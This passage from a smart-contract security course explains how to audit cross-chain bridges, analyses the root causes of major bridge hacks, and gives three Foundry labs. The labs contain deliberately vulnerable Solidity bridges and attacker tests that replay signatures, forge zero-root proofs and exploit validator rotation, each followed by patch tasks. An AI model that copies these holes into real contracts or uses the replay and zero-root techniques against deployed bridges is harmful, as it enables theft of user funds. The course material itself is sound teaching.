- Is the destination contract able to unwind a delivered message if a fraud proof of source reorg is later submitted? Usually no — once minted, wrapped tokens are in the wild.
For Ethereum post-Merge with finalized, this is largely a non-issue. For BSC, Polygon PoS, Solana, and several L2s, it is real and must be parametrized correctly.
6.6 Wrapped-asset accounting / solvency invariant
The lock-and-mint design has a critical invariant:
sum_locked_on_chain_A == sum_wrapped_supply_across_all_other_chains
Audit checks:
- Is the lock contract on chain A the only place wrapped supply on B can be minted? If multiple “official” mint paths exist, invariant breaks easily.
- Is the wrapped token mint function gated to only the bridge contract on B?
- Can wrapped tokens be migrated cross-chain (B → C) and back (C → B) without ever touching A’s lock? If yes, accounting can diverge from A’s lock state.
- Does the bridge expose any rebase or fee-on-transfer behavior that breaks the invariant?
A protocol-level invariant test (Foundry’s invariant testing, Tuan-Bonus-Fuzzing-Invariant-Advanced) should be part of the bridge’s CI: “after N random ops, total locked >= total wrapped.” If it fails, you have either a bug or a design where the invariant doesn’t hold by intent (also a finding).
6.7 Storage-slot collision in upgradeable bridge proxies
See Week 5 §4–§5. Bridges are heavily upgradeable — they need to add chains, fix bugs, rotate sets. Upgrade flow errors include:
- Adding a state variable in the middle of an existing layout, shifting all subsequent slots.
- Missing storage gaps in inherited bases.
- Diamond facets with overlapping namespaces.
A bridge with a corrupted storage layout post-upgrade can mis-account locked balances or mis-route messages.
6.8 Initialization protection
The classic Parity-multisig-class bug, applied to bridges: an unprotected initialize() on a bridge implementation contract allows takeover. Even if the proxy is correctly initialized, the implementation must _disableInitializers() in its constructor.
For Wormhole, LayerZero, and CCIP: every chain’s deployed contracts must be checked. Cross-chain bridges often have dozens of deployed addresses across many chains, and a single un-initialized implementation on a low-volume chain can be a vector if it shares trust authority with high-value chains.
6.9 Cross-cutting: per-route rate limits
Almost every modern bridge supports per-route, per-token rate limits — caps on how much value can flow per period. This is the second-most-important safety mechanism after correct authentication, because it bounds the damage of any single failure mode.
CCIP enforces per-token-pool rate limits at the protocol layer. LayerZero leaves it to applications. Always check: does the bridge have rate limits? What are the parameters? Who can modify them, and with what delay?
7. The Famous Bridge Exploits — Root Cause + Lesson
7.1 Poly Network — August 2021 (~$611M)
Setup: Poly Network was a cross-chain messaging system between Ethereum, BSC, Polygon, and others. The Ethereum side had two key contracts:
EthCrossChainManager: verifies incoming cross-chain messages and executes them.EthCrossChainData: holds state, including the public keys of the keeper set (the off-chain attesters).
Root cause: EthCrossChainData’s owner was EthCrossChainManager. The latter exposed a verifyHeaderAndExecuteTx function that could be called by anyone with a “valid” header. That function dispatched arbitrary calldata to arbitrary targets via _executeCrossChainTx. The attacker crafted a header whose calldata pointed to EthCrossChainData.putCurEpochConPubKeyBytes — the function that rotates the keeper set — and dispatched it.
The attacker did not break any cryptographic signature. They tricked the bridge into calling its own keeper-rotation function with attacker-supplied keys. After rotation, the attacker controlled the keeper set and could approve arbitrary withdrawals from every chain.
Lesson (one-sentence): a cross-chain dispatcher that can call arbitrary internal functions is structurally equivalent to an unauthorized admin — every selector reachable through the dispatcher must be analyzed as if it were public.
Audit takeaway: enumerate every function on every contract owned by the cross-chain dispatcher, and verify each is acceptable for the dispatcher to invoke. If any privileged setter exists in that surface, the bridge is takeoverable.
7.2 Wormhole — February 2022 (~$325M)
Setup: Wormhole’s Solana program verifies Guardian signatures off-chain via the Solana Secp256k1 precompile, then constructs a SignatureSet account that holds verified signatures. A VAA is valid if its SignatureSet corresponds to 13 verified signatures from current Guardians.
Root cause: a function verify_signatures used Solana’s deprecated load_instruction_at rather than load_instruction_at_checked. The deprecated function didn’t verify that the supplied sysvar account was the actual system instructions sysvar. The attacker constructed a fake sysvar account whose contents looked like the system sysvar (replaying an old Secp256k1 verification), the check passed, a SignatureSet was created without real signatures, and a VAA was generated for 120,000 wETH mints from nothing.
Critical detail: a fix had been pushed to the public GitHub repo but not yet deployed to mainnet. The attacker is widely believed to have spotted the bug by reading the public patch and racing the deployment.
Lesson: on-chain signature verification is only as strong as the surface checks around the signature primitive. The signature primitive (Secp256k1) was correct; the check that the sysvar account was real was the gap. Auditing must verify every “trusted account” / “trusted call” assumption holds.
Operational lesson: patches to security-critical verifier code must be deployed before being merged publicly, or at minimum without leaving a window during which attackers can prepare. Coordinated disclosure exists for a reason.
7.3 Ronin — March 2022 (~$625M)
Setup: Ronin (Axie Infinity’s sidechain) had a 9-validator bridge with a 5-of-9 threshold. Five of those validators were Sky Mavis-controlled servers; one was the Axie DAO.
Root cause: two compounding failures.
- Spear-phishing: Sky Mavis employees were targeted with a fake job offer; one downloaded malicious software, which gave the attacker access to four Sky Mavis-controlled validator nodes.
- Permission left active: in November 2021, to relieve user load, Sky Mavis had been temporarily allowlisted to sign on the Axie DAO’s behalf via a gas-free RPC. The operational arrangement ended in December 2021, but the on-chain permission was never revoked. Six months later, the attacker — having compromised Sky Mavis infrastructure — used that still-active permission to obtain the fifth signature from the Axie DAO validator.
The attack went undetected for six days until a user reported they couldn’t withdraw — there was no on-chain monitoring of large outflows.
Lessons (multiple):
- Operational permissions that bypass normal multisig flow must be removed when no longer needed, and “remove” means on-chain revocation, not just a Slack message.
- 5-of-9 with 4 controlled by one organization is functionally 2-of-9 — set diversity matters as much as set size.
- Monitoring: a $625M outflow undetected for six days is a monitoring failure as much as an authentication failure. Modern bridges should have Forta-style alerts, on-chain rate limits, and on-chain pause triggers correlated with abnormal volume.
7.4 Nomad — August 2022 (~$190M)
Setup: Nomad was an “optimistic bridge” — messages on the destination were valid if their Merkle root was in the acceptableRoot mapping (set by an updater attestation, with a challenge window).
Root cause: during a June 2022 routine implementation upgrade, an audit-related cleanup made a subtle change. The process function checked acceptableRoot[root], and root was computed from the message proof. For an unconstructed proof, the computed root was bytes32(0). After the upgrade, the acceptableRoot mapping had acceptableRoot[bytes32(0)] = true as part of initialization, making the zero root globally trusted.
The exploit primitive: copy any prior valid bridge transaction, change the recipient address to your own, broadcast. The proof check passes because the computed root is 0x00 (the new “proof” is just unconstructed bytes the verifier doesn’t reject), and 0x00 is in acceptableRoot.
What made it spectacular was the crowdsourcing: the exploit transaction was trivial to copy. Hundreds of independent EOAs replayed it within hours, draining the bridge in a public free-for-all.
Lesson: default values are part of the threat model. mapping(bytes32 => bool) returns false by default — but if an initialization sets anything to true, including the all-zero key, every “is this in the set?” check that produces a zero key passes. A Merkle-proof verifier whose unconstructed proof produces a zero root plus an unfortunate initialization == anyone-can-prove-anything.
Audit takeaway: in every access-control mapping, explicitly check that the queried key is well-formed before relying on the mapping’s truth value. acceptableRoot[root] should be preceded by require(root != bytes32(0), "no zero root");. Similarly for signers (signers[address(0)] should never be true), token mints (mint[token0x0]), etc.
7.5 Harmony Horizon — June 2022 (~$100M)
Setup: Horizon bridge had a 2-of-5 multisig.
Root cause: two of the multisig private keys were stored in plaintext on bridge operator servers. A spear-phishing attack compromised a developer laptop, which led to server access, which led to plaintext key recovery. Two keys = signing threshold = full bridge drain.
Lessons:
- 2-of-5 is too low a threshold for $100M+ TVL.
- Keys must never be in plaintext on production servers. HSMs or hardware-isolated signing required.
- Set members must be diverse — different operational stacks, different jurisdictions, different humans.
7.6 Multichain — July 2023 (~$125M+)
Setup: Multichain (formerly Anyswap) used MPC with nodes operated under the founder’s organization.
Root cause: the founder (Zhaojun) was arrested by Chinese police in May 2023. He was the sole holder of administrative MPC keys per court evidence. With his hardware seized, the team could not access keys and the protocol effectively halted. Funds either drained or were transferred by the founder’s sister “for asset preservation” depending on which forensics report you trust.
Lesson: “MPC” is not a security guarantee; it’s an implementation pattern. If the M parties are all controlled by one human, MPC is a custodial wallet. The auditor’s question is not “is this MPC?” but “are the operational parties truly independent, what is the recovery process if N-M of them go offline simultaneously, and is there a public proof of independence (not just an org chart)?”
Audit takeaway: insist on operator independence proofs — different geographic jurisdictions, different humans verifiable on LinkedIn, different infrastructure providers. A “decentralized” MPC where every node ssh-es into AWS us-east-1 under one root account is centralized.
7.7 Pattern across all six
| Incident | What auditors should have flagged pre-exploit |
|---|---|
| Poly Network | Enumerate every function callable by the dispatcher; flag any privileged setters as design risk |
| Wormhole | Verify every “trusted account” check in signature-verification path, including sysvar/program-id checks |
| Ronin | Read the actual on-chain allowlist state, not the protocol’s claimed operational state |
| Nomad | Domain-separate “valid root” from “default mapping value”; check zero-key paths |
| Harmony | Insist on HSM key custody and ≥5-of-9 with real diversity |
| Multichain | Demand operator-independence evidence; treat single-jurisdiction MPC as custodial |
Meta-lesson: every one of these is a trust-model finding, not a Solidity finding. Slither doesn’t detect them. Manual modeling of the trust system does.
8. Lab — Three PoCs
8.1 Lab structure
~/web3-sec-lab/wk10/
├── 01-replay-no-chainid/
├── 02-nomad-zero-root/
└── 03-validator-rotation-race/
Each is a Foundry project. Run forge init in each. Solidity ^0.8.20.
8.2 Lab 1 — Replay PoC on a lock-and-mint bridge with no chain-id / nonce
Goal: build a vulnerable lock-and-mint bridge, then write an attacker contract that re-uses the same source-chain “Sent” proof to claim wrapped tokens multiple times on the destination.
// src/VulnBridge.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract WrappedToken {
string public name = "wToken";
string public symbol = "wTKN";
uint8 public decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
address public bridge;
constructor(address _bridge) { bridge = _bridge; }
modifier onlyBridge() { require(msg.sender == bridge, "not bridge"); _; }
function mint(address to, uint256 amount) external onlyBridge {
balanceOf[to] += amount;
totalSupply += amount;
}
}
contract VulnBridge {
// The "validator" public key. In production this would be a set; here, single for clarity.
address public validator;
WrappedToken public wToken;
// BUG: no chain-id, no nonce, no destination binding.
// We only sign over (recipient, amount).
constructor(address _validator) {
validator = _validator;
}
function setToken(WrappedToken _t) external { wToken = _t; }
function claim(address recipient, uint256 amount, uint8 v, bytes32 r, bytes32 s) external {
bytes32 hash = keccak256(abi.encodePacked(recipient, amount));
bytes32 digest = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
address signer = ecrecover(digest, v, r, s);
require(signer == validator, "bad sig");
// BUG: no replay-protection map; the same (sig, recipient, amount) is replayable.
wToken.mint(recipient, amount);
}
}// test/Replay.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../src/VulnBridge.sol";
contract ReplayTest is Test {
VulnBridge bridge;
WrappedToken wToken;
uint256 validatorKey = 0xA11CE;
address validatorAddr;
address attacker = address(0xBEEF);
function setUp() public {
validatorAddr = vm.addr(validatorKey);
bridge = new VulnBridge(validatorAddr);
wToken = new WrappedToken(address(bridge));
bridge.setToken(wToken);
}
function _sign(address recipient, uint256 amount) internal view returns (uint8, bytes32, bytes32) {
bytes32 hash = keccak256(abi.encodePacked(recipient, amount));
bytes32 digest = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
return vm.sign(validatorKey, digest);
}
function test_replay_drains() public {
(uint8 v, bytes32 r, bytes32 s) = _sign(attacker, 100 ether);
// First legitimate claim
bridge.claim(attacker, 100 ether, v, r, s);
assertEq(wToken.balanceOf(attacker), 100 ether);
// Replay 1: same params, same sig — succeeds again because no nonce
bridge.claim(attacker, 100 ether, v, r, s);
assertEq(wToken.balanceOf(attacker), 200 ether);
// Replay N times: drain to infinity
for (uint256 i = 0; i < 10; i++) {
bridge.claim(attacker, 100 ether, v, r, s);
}
assertEq(wToken.balanceOf(attacker), 1200 ether);
emit log_named_uint("attacker wToken balance after 12 claims", wToken.balanceOf(attacker));
}
}Run:
forge test --match-test test_replay_drains -vvTask A: patch by adding a mapping(bytes32 => bool) public used; keyed by keccak256(abi.encode(recipient, amount, nonce)) plus a nonce parameter included in the signed payload. Re-run; second claim should revert.
Task B: extend with cross-chain replay. Deploy the same bridge on two simulated chains (use vm.chainId(1) then vm.chainId(56)). Show that the same signature claims on both chains. Patch by including block.chainid in the signed payload.
Task C: extend with cross-contract replay. Deploy two VulnBridge instances on the same chain. Show that a signature for contract A can be replayed on contract B. Patch by including address(this) in the signed payload (or use EIP-712 with verifyingContract in the domain separator).
Audit pattern recognized: the signed payload must include all of (srcChainId, srcContract, dstChainId, dstContract, nonce, recipient, amount) (or equivalent message-id). Anything missing is a replay vector.
8.3 Lab 2 — Nomad-style zero-root bug
Goal: reproduce a stripped-down version of the Nomad bug: an acceptableRoot mapping where acceptableRoot[bytes32(0)] = true makes any unconstructed proof “valid”.
// src/NomadLite.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract NomadLite {
mapping(bytes32 => bool) public acceptableRoot;
mapping(bytes32 => bool) public processed;
// BUG: initializer sets acceptableRoot[bytes32(0)] = true via "default initialization"
// (mimics Nomad's upgrade-time misconfiguration).
bool initialized;
function initialize() external {
require(!initialized, "already");
initialized = true;
// Intended to mark a "genesis" root, but bytes32(0) is the default proof result!
acceptableRoot[bytes32(0)] = true;
}
function setAcceptableRoot(bytes32 root) external {
acceptableRoot[root] = true;
}
/// `proof` is a list of sibling hashes; combined with `leaf` it must produce a root
/// in `acceptableRoot`.
function process(bytes32 leaf, bytes32[] calldata proof, address recipient, uint256 amount) external {
bytes32 messageId = keccak256(abi.encode(leaf, recipient, amount));
require(!processed[messageId], "already processed");
bytes32 computed = leaf;
for (uint256 i = 0; i < proof.length; i++) {
computed = computed < proof[i]
? keccak256(abi.encodePacked(computed, proof[i]))
: keccak256(abi.encodePacked(proof[i], computed));
}
require(acceptableRoot[computed], "root not acceptable");
processed[messageId] = true;
// ... would credit recipient with `amount` of wrapped asset
emit Processed(recipient, amount);
}
event Processed(address indexed recipient, uint256 amount);
}// test/Nomad.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../src/NomadLite.sol";
contract NomadLiteTest is Test {
NomadLite bridge;
address attacker = address(0xBAD);
function setUp() public {
bridge = new NomadLite();
bridge.initialize();
}
function test_zero_root_lets_any_unproven_message_pass() public {
// Attacker chooses a leaf such that the proof computes to bytes32(0).
// The simplest way: choose leaf = bytes32(0) and proof = [].
// computed = leaf = 0x00.
bytes32 leaf = bytes32(0);
bytes32[] memory proof = new bytes32[](0);
vm.expectEmit(true, false, false, true);
emit NomadLite.Processed(attacker, 1_000_000 ether);
bridge.process(leaf, proof, attacker, 1_000_000 ether);
// The attacker just "processed" a withdrawal of 1M wrapped tokens with no proof.
// In the real Nomad, this minted wAssets that the attacker swept.
}
function test_replay_with_different_recipient() public {
bytes32 leaf = bytes32(0);
bytes32[] memory proof = new bytes32[](0);
// Even if processed[messageId] tracks per (leaf, recipient, amount),
// the attacker can simply change recipient or amount to get a new messageId.
bridge.process(leaf, proof, address(0xAAA1), 1_000_000 ether);
bridge.process(leaf, proof, address(0xAAA2), 1_000_000 ether);
bridge.process(leaf, proof, address(0xAAA3), 1_000_000 ether);
// The exploit is self-serve. Nomad's mainnet drain was exactly this pattern,
// crowdsourced across hundreds of independent attackers.
}
}Run:
forge test --match-contract NomadLiteTest -vvTask A (the patch): edit process to also require require(computed != bytes32(0), "no zero root accepted");. Re-run — both tests should now revert. This is the structural domain separation: the zero key cannot be a valid root, ever.
Task B: implement the correct Merkle verification that uses leaf/internal-node domain separation (Week 1 §4.3). Show that with proper domain separation, a constructed “all-zero” proof does not produce a usable root because leaf hashes are prefixed.
Task C: instrument the contract with a lastSeenRoot event and verify what a real watcher would have detected during the exploit window. Discuss: even with monitoring, how fast could a paused-bridge response have stopped the crowdsourced replay?
Audit pattern recognized: any state that is “set to true” by initialization on the default key is a global authorization. Reject the default-key path explicitly.
8.4 Lab 3 — Validator-set rotation race
Goal: model a bridge where the destination contract rotates its validator set, but in-flight messages signed by the old set arrive after the rotation. Show that, depending on implementation, the message is (a) silently dropped, or (b) processed as if signed by the new set (catastrophic).
// src/RotatingBridge.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract RotatingBridge {
address public currentValidator;
uint256 public rotationBlock;
mapping(bytes32 => bool) public consumed;
// For audit illustration, we keep a "previous" validator with no expiry.
address public previousValidator;
uint256 public previousValidUntil;
// Toggle behavior between the two designs.
enum Mode { OnlyCurrent, AcceptGrace }
Mode public mode;
constructor(address _validator, Mode _mode) {
currentValidator = _validator;
mode = _mode;
}
function rotate(address newValidator, uint256 graceBlocks) external {
// Insecure: anyone can call. In production, this would itself be signed
// by current validator. For the lab, we focus on the rotation race.
previousValidator = currentValidator;
previousValidUntil = block.number + graceBlocks;
currentValidator = newValidator;
rotationBlock = block.number;
}
function deliver(
bytes32 messageId,
address recipient,
uint256 amount,
uint8 v, bytes32 r, bytes32 s
) external {
require(!consumed[messageId], "consumed");
bytes32 digest = keccak256(abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
keccak256(abi.encode(block.chainid, address(this), messageId, recipient, amount))
));
address signer = ecrecover(digest, v, r, s);
if (mode == Mode.OnlyCurrent) {
require(signer == currentValidator, "wrong signer");
} else {
// AcceptGrace: accept previous validator if still within grace window.
bool currentOk = signer == currentValidator;
bool prevOk = signer == previousValidator && block.number <= previousValidUntil;
require(currentOk || prevOk, "wrong signer");
}
consumed[messageId] = true;
emit Delivered(recipient, amount);
}
event Delivered(address indexed recipient, uint256 amount);
}// test/Rotation.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../src/RotatingBridge.sol";
contract RotationRaceTest is Test {
RotatingBridge bridge;
uint256 oldKey = 0xA11C;
uint256 newKey = 0xB0B;
address oldVal;
address newVal;
address recipient = address(0xCAFE);
function _setup(RotatingBridge.Mode mode) internal {
oldVal = vm.addr(oldKey);
newVal = vm.addr(newKey);
bridge = new RotatingBridge(oldVal, mode);
}
function _sign(uint256 key, bytes32 messageId, address to, uint256 amount)
internal view returns (uint8, bytes32, bytes32)
{
bytes32 digest = keccak256(abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
keccak256(abi.encode(block.chainid, address(bridge), messageId, to, amount))
));
return vm.sign(key, digest);
}
function test_only_current_drops_in_flight_old_sig() public {
_setup(RotatingBridge.Mode.OnlyCurrent);
// Step 1: at block N, oldVal signs message M.
bytes32 id = keccak256("msg1");
(uint8 v, bytes32 r, bytes32 s) = _sign(oldKey, id, recipient, 50 ether);
// Step 2: rotation happens BEFORE M is delivered.
vm.roll(block.number + 1);
bridge.rotate(newVal, 0);
// Step 3: M arrives. OnlyCurrent mode rejects it.
vm.expectRevert(bytes("wrong signer"));
bridge.deliver(id, recipient, 50 ether, v, r, s);
// Result: legitimate in-flight message lost.
// (User on source chain may have already locked funds expecting delivery.)
}
function test_grace_window_accepts_old_sig() public {
_setup(RotatingBridge.Mode.AcceptGrace);
bytes32 id = keccak256("msg2");
(uint8 v, bytes32 r, bytes32 s) = _sign(oldKey, id, recipient, 50 ether);
vm.roll(block.number + 1);
bridge.rotate(newVal, 100); // 100-block grace
bridge.deliver(id, recipient, 50 ether, v, r, s);
// Success: old-set-signed message processed.
}
function test_replay_after_old_key_leaks() public {
_setup(RotatingBridge.Mode.AcceptGrace);
// Rotation occurs.
bridge.rotate(newVal, 1000);
// After rotation, the old key is "retired" but contractually still authorized.
// If the old key leaks (no longer monitored, less protected post-retirement),
// attacker uses it during grace to authorize a fraudulent message.
bytes32 id = keccak256("msg-fraud");
(uint8 v, bytes32 r, bytes32 s) = _sign(oldKey, id, address(0xEEE), 10_000 ether);
bridge.deliver(id, address(0xEEE), 10_000 ether, v, r, s);
// Fraudulent withdrawal succeeds because grace window is still open
// and old key, though "retired", remains authoritative.
}
}Run all three:
forge test --match-contract RotationRaceTest -vvDiscussion of trade-offs:
OnlyCurrentmode: clean security model (only current set is authoritative), but operational risk of dropping in-flight messages during rotation. Real bridges using this model must rotate when message backlog is empty.AcceptGracemode: smoother UX through rotation, but extends the attack surface of the old key — any leak of an old key during the grace window is a fraud opportunity.- The correct answer depends on threat model, observed historical key-leak base rate, and rotation cadence.
Task A: extend with a two-of-many scheme. With M-of-N signing, what happens if M-1 old validators sign and 1 new validator signs during transition? Discuss the multi-set composition rules.
Task B: add the self-rotation attack: extend rotate() to require a signature from the current validator. Then show how the Poly Network shape — calling rotate via the cross-chain dispatcher — bypasses that check if the dispatcher’s caller is address(this).
Audit pattern recognized: validator-set rotation is one of the highest-risk operations a bridge supports. It must be atomic across chains, authenticated by the current set, with clear in-flight message semantics, and monitored post-rotation for residual-key fraud.
8.5 Stretch — LayerZero DVN configuration audit
For an additional 4-hour stretch task: deploy a minimal LayerZero V2 OFT (Omnichain Fungible Token) onto two testnets (or a forked mainnet). Read the deployed setConfig of the Endpoint to determine the actual DVN configuration. Verify by reading on-chain whether the application is using 1-of-N, M-of-N, or any required DVN. Write a short report — this is exactly the work a real LayerZero audit produces.
Reference: https://docs.layerzero.network/v2/developers/evm/protocol-gas-settings/default-config
9. Anti-patterns (add to master checklist)
- Signed payload missing source chain id — cross-chain replay.
- Signed payload missing source contract address — same-chain cross-contract replay.
- Signed payload missing destination chain id / contract — destination-side cross-chain confusion.
- No per-message nonce or message-id — same-message replay.
-
consumed[messageId] = trueafter the external call to recipient — re-entrant replay via recipient. - Reading from
latestblock tag for cross-chain state — finality assumption violation. - Confirmation depth not validated against historical chain reorg — under-modeling.
- Validator-set rotation without atomic cut-over or explicit grace window — in-flight drop or grace-window fraud.
- Validator-set rotation authentication via the bridge’s own dispatcher (Poly Network shape) — self-rotation attack.
-
acceptableRoot[bytes32(0)] = trueor similar default-key authorization (Nomad shape). - Pause authority concentrated in single EOA / no separation from upgrade authority.
- No per-route or per-token rate limit — single failure mode drains everything.
- Bridge accounting solvency invariant not testable on-chain — invisible insolvency.
- Bridge proxy implementation missing
_disableInitializers()(Parity shape). - Storage layout changes in upgrade without OZ upgrades-plugin validation (collision).
- MPC nodes operated by single org / single jurisdiction / single ssh root account (Multichain shape).
- Validator hot keys stored in plaintext on bridge servers (Harmony shape).
- Signature verification using deprecated / unchecked primitives (Wormhole shape —
load_instruction_atvs_checked). - Privileged setters reachable through the cross-chain dispatcher (Poly Network shape).
- Operational permissions (e.g., gas-free RPC, allowlist) left on-chain after operational arrangement ended (Ronin shape).
- No on-chain monitoring of large outflows; no alerting — Ronin took 6 days to detect.
- Wrapped-token mint authority broader than the bridge contract — accounting can diverge.
-
ecrecoverresult not checked againstaddress(0)in the validator-signature path — unsigned messages “valid”. - No signature malleability protection in validator-signature aggregation.
- LayerZero application using 1-of-1 or 1-of-N DVN with the same operator (KelpDAO shape).
- Hyperlane application using default ISM without per-app override on high-value paths (silent downgrade).
- Pre-merge “
block.numberis finality” assumption applied to a chain that has had reorgs — almost any chain other than recent-era Ethereum.
10. Trade-offs and Open Debates
10.1 Speed vs security (finality wait)
| Option | Latency | Safety |
|---|---|---|
Wait for source finalized tag | ~12 min (Ethereum L1) | Highest |
| Wait N confirmations on probabilistic chain | Variable | Depends on N |
| Optimistic with challenge window | Fast (post-window) | One honest watcher |
| ZK-proven state on destination | Proof generation latency | Cryptographic |
| Trust attesters’ off-chain confirmation logic | Fastest | Lowest |
Auditor’s view: there is no “right” answer; the question is whether the bridge’s choice is consistent with its TVL and target use case. A consumer-facing micro-bridge can accept lower finality; a $1B+ TVL bridge cannot.
10.2 Capital efficiency vs trust (wrapped vs canonical)
- Wrapped lock-mint: capital-efficient (one canonical asset on each chain); but bridge insolvency = wrapped asset depeg.
- Native canonical (CCTP-style): no wrapped representation, no depeg; but trust concentrated in the issuer.
- Liquidity network (Hop/Across/Stargate): no wrapped, no issuer trust; but requires liquidity providers at all times (liveness assumption).
10.3 Liveness vs safety (pause guards)
A pause is a safety mechanism that reduces liveness. The right answer depends on the threat model:
- High-TVL bridge: pause is essential. Brief liveness loss << total bridge loss.
- Consumer transfer service: pause too aggressive = users cannot exit when they need to. Asymmetric pause (stop deposits, allow withdrawals) is often the right design.
- Decentralization debate: a pause held by a single EOA contradicts “trustless bridge” marketing. A pause held by a distributed RMN-style network contradicts neither.
10.4 The bigger debate: should generic bridges exist?
Vitalik’s 2022 argument (still actively cited in 2026) is that fungibility across consensus zones is fundamentally unsafe because each chain’s failure becomes the bridge’s failure. Counter-arguments:
- Light-client / ZK bridges reduce trust to source-chain consensus, so as long as you accept the source’s consensus, the bridge adds no extra trust assumption. (Vitalik’s argument applies but is weakened.)
- Asset issuers acting as bridges (CCTP) embrace the trust concentration as a feature.
- App-specific message buses (LayerZero OApp, Wormhole’s NTT) with conservative DVN/ISM configs make bridge trust configurable per application, so high-value apps can pay for high-security paths.
The auditor’s neutral stance: bridges are an architecture choice with explicit trust assumptions. The job is to make those assumptions visible to users. Marketing language like “trustless” or “fully decentralized” on a bridge that uses a small validator multisig is a finding even in the absence of code bugs — the audit report should call it out under “trust assumptions / user-facing claims”.
11. Quiz (≥80% to advance)
-
Q: A bridge contract verifies
keccak256(abi.encode(recipient, amount))as the signed payload. List three replay vectors and what each missing field allows. A: (1) Same chain, same contract: no nonce → re-execution. (2) Different chain: noblock.chainid→ cross-chain replay. (3) Different contract on same chain: noaddress(this)→ cross-contract replay. (Bonus: no source-chain binding → cross-bridge replay.) -
Q: On Ethereum post-Merge, what is the difference between
latest,safe, andfinalizedblock tags, and which should a bridge use to read source-chain events? A:latestis the most recent block (may reorg).safeis the head of the last justified epoch (rare reorg).finalizedis past two epoch confirmations (Casper FFG; reversion requires >1/3 stake slashed). Bridges should wait forfinalizedfor value-bearing transfers. -
Q: Explain the Nomad bug in one sentence. A: An initialization-time upgrade marked
acceptableRoot[bytes32(0)] = true; an unconstructed Merkle proof computes to a zero root, so any “proof” was accepted, letting anyone copy a prior tx and change the recipient. -
Q: Why is “MPC” not a security guarantee? A: MPC describes a cryptographic pattern (key shares + threshold signing), not the operational independence of the parties. If the M parties are all controlled by one organization or one human (Multichain), MPC reduces to a custodial wallet with extra steps.
-
Q: A bridge protocol has 19 validators with a 13/19 threshold but only 2 of them run their own software stack; the other 17 all run the same Docker image on AWS. Is this 13/19? A: Functionally closer to 2-of-2 plus 17 “votes” that all rise and fall together. Set diversity (operator, software, geography, infrastructure provider) matters as much as set size. The Wormhole 2022 hack was also not a Guardian collusion but a single-chain verifier bug — a software-uniformity failure mode in spirit.
-
Q: Describe a validator-set rotation race attack. A: Source chain rotates from set V to V’. The new set V’ is communicated to the destination. In the meantime, V has signed a message that arrives at the destination after rotation. Depending on implementation: (a) the destination accepts only V’, so the legitimate in-flight message is dropped; (b) the destination accepts both during a grace window, but if any V key leaks during that window, attacker can produce fraudulent messages.
-
Q: A bridge claims to be “trustless”. On reading the code you find a Hyperlane Multisig ISM with three validators, all run by the protocol team. What’s the finding? A: Trust-assumption finding. The protocol relies on a 3-validator multisig of single-org operators; the bridge is not trustless. The audit report should disclose this in the trust-assumptions section regardless of whether the code is bug-free, because user risk decisions are based on the marketing claim.
-
Q: Why does CCIP’s Risk Management Network represent a distinct architectural choice compared to LayerZero’s DVN model? A: CCIP’s RMN is an independent network with different software, different operators, and a separate cursing path that pauses the entire bridge — it’s a checks-and-balances design, not a per-app configuration. LayerZero’s DVN model is per-app configurable: applications pick their own DVNs, including 1-of-N if they choose. Different design philosophies: CCIP centralizes a defense layer, LayerZero distributes the security responsibility to the app developer.
-
Q: What is the single audit angle that most often catches the highest-severity bridge findings? A: Enumerating the surface of every function callable through the bridge’s cross-chain dispatcher (Poly Network class), combined with checking that initialization defaults don’t authorize unintended values (Nomad class). Both are trust-model surface analyses, not Solidity-syntax analyses.
-
Q: If a bridge holds $1B in TVL, what’s the minimum pause architecture you would accept as adequate in an audit? A: An independent pause path separate from upgrade authority, time-locked governance to un-pause, with explicit pause-can-be-triggered-by-N events including: (a) anomaly detection by an independent monitoring set, (b) emergency multisig, (c) per-route rate-limit breach triggering automatic pause. Single-EOA pause = inadequate at any TVL above the operational team’s net worth.
12. Week 10 Deliverables
- Lab 1 (replay) — vulnerable bridge + Foundry replay test + three patches (nonce, chain id, contract address).
- Lab 2 (Nomad zero-root) —
NomadLiteexploit + patch with explicit zero-key rejection + leaf/internal-node domain separation patch. - Lab 3 (validator-set rotation race) —
RotatingBridgewith bothOnlyCurrentandAcceptGracemodes; PoCs for in-flight drop and grace-window fraud. - Trust-model comparison table for one real bridge of your choice (LayerZero, Wormhole, CCIP, Hyperlane, Axelar, or IBC). Read the actual deployed configuration, not just the docs.
- Master audit checklist updated with this week’s items.
- One-page write-up: “If I were auditing a new $500M-TVL bridge launch next week, what are the five things I would refuse to sign off on?“
13. Where this leads
Next week: Tuan-11-L2-Rollup-Modular-Security. The L1↔L2 canonical bridges are themselves bridges — but with very different trust models (fraud proofs, validity proofs, escape hatches). This week’s mental model carries over directly: who attests, what’s the destination verification, what’s the finality assumption, what’s the pause authority?
After Week 11 you have the full cross-domain security toolkit. Combined with Weeks 5–9, you can audit any DeFi or cross-chain primitive at the design level, not just the syntax level. Week 15 will tie this together with audit methodology; Week 16 with report writing.
Cross-references for case-study reproduction:
- Case-Poly-Network-2021 — full PoC of the cross-chain dispatcher abuse.
- Case-Wormhole-2022 — Solana program-level signature verification path reproduction.
- Case-Ronin-Bridge-2022 — operational forensics + on-chain allowlist analysis.
- Case-Nomad-Bridge-2022 — full zero-root exploit + the crowdsourced replay analysis.
Last updated: 2026-05-16 See also: Roadmap · References · Tuan-01-Web3-Blockchain-Crypto-Fundamentals · Tuan-05-Vulnerability-Classes-Part-1 · Tuan-09-Oracle-MEV-Economic-Attack · Tuan-11-L2-Rollup-Modular-Security